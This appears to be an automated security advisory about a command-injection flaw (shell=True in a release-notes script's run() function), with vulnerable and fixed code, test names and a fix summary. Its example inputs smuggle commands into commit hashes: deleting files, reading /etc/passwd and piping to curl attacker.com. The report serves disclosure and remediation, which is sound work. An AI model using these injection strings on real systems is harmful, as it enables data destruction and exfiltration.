Vulnerability Details

CWE Type(s): CWE-78
Severity: HIGH
Team: Unassigned

Location

• File: scripts/release_notes/common.py
• Lines: 145-155

Description

OS Command Injection via shell=True in run() function. The run() function uses subprocess.Popen with shell=True, enabling command injection via all callers (commit_body, commit_title, commit_changed_files). User-controlled command strings passed to this function allow shell metacharacters to execute arbitrary commands.

The vulnerable run() function is called from multiple locations with user-controlled inputs:

• commit_body() - with commit hash parameter (line 159)
• commit_title() - with commit hash parameter (line 165)
• commit_changed_files() - with commit hash parameter (line 171)

Impact

Arbitrary command execution through shell metacharacters (;, &&, |, `, $()) in any parameter passed to git commands. An attacker who can control commit hash values can execute arbitrary commands with application privileges during release note generation.

Attack examples:

• commit_hash = "abc123; rm -rf /tmp/important_data"
• commit_hash = "HEAD && cat /etc/passwd"
• commit_hash = "master | curl attacker.com/steal"

Root Cause

subprocess.Popen uses shell=True with user-controlled command strings constructed via f-strings. The shell=True parameter enables shell interpretation of special characters, turning what should be safe git commands into injection vectors.

Fix Status

MR Link: https://gitlab.com/redhat/rhel-ai/team-pytorch/pytorch/-/merge_requests/43
Fix Branch: security-fix-Command_Injection-cwe78_common_run_shell_injection
Status: IMPLEMENTED

Fix Implementation

1. Removed shell=True: Changed subprocess.Popen to use shell=False
2. Added shlex.split(): Commands are now safely parsed from strings to argument lists
3. Added input validation: Created _validate_commit_hash() function to validate commit hashes
4. Applied validation: All git command functions now validate their inputs before execution

Security Benefits

• Prevents arbitrary command execution through shell metacharacters
• Validates commit hashes to ensure they only contain hexadecimal characters
• Maintains backward compatibility while eliminating injection vectors
• Defense-in-depth approach with both input validation and safe subprocess usage

Related Exploit Files

• test_cwe78_common_run_shell_injection.py

Exploit Code Sample

# VULNERABLE CODE:
def run(command):
    p = subprocess.Popen(
        command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True
    )
    # ...

# Called from:
def commit_body(commit_hash):
    cmd = f"git log -n 1 --pretty=format:%b {commit_hash}"
    ret, out, err = run(cmd)  # VULNERABLE!
    return out if ret == 0 else None

# ATTACK:
malicious_hash = "abc123; echo INJECTED"
result = commit_body(malicious_hash)
# Executes: git log -n 1 --pretty=format:%b abc123; echo INJECTED

# FIXED CODE:
def run(command):
    if isinstance(command, str):
        command = shlex.split(command)  # Safe parsing
    p = subprocess.Popen(
        command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False
    )
    # ...

def _validate_commit_hash(commit_hash):
    if not re.match(r'^[0-9a-fA-F]+$', commit_hash):
        raise ValueError(f"Invalid commit hash: {commit_hash}")

def commit_body(commit_hash):
    _validate_commit_hash(commit_hash)  # Validation layer
    cmd = f"git log -n 1 --pretty=format:%b {commit_hash}"
    ret, out, err = run(cmd)  # Now safe
    return out if ret == 0 else None

Testing

Test Coverage:

• test_1_direct_shell_injection: Verifies injection attempts are blocked
• test_2_source_code_analysis: Confirms shell=True has been removed
• test_3_commit_hash_injection: Tests injection through commit_hash parameter

All tests verify that the vulnerability has been properly patched.

References

• CWE Reference: https://cwe.mitre.org/data/definitions/78.html
• CVE Table: /pytorch_workspace/Security_related_files/Security_related_files/Command_Injection/Command_Injection_part_004/results/cve_analyzed_report.csv

Generated by CI Security Bot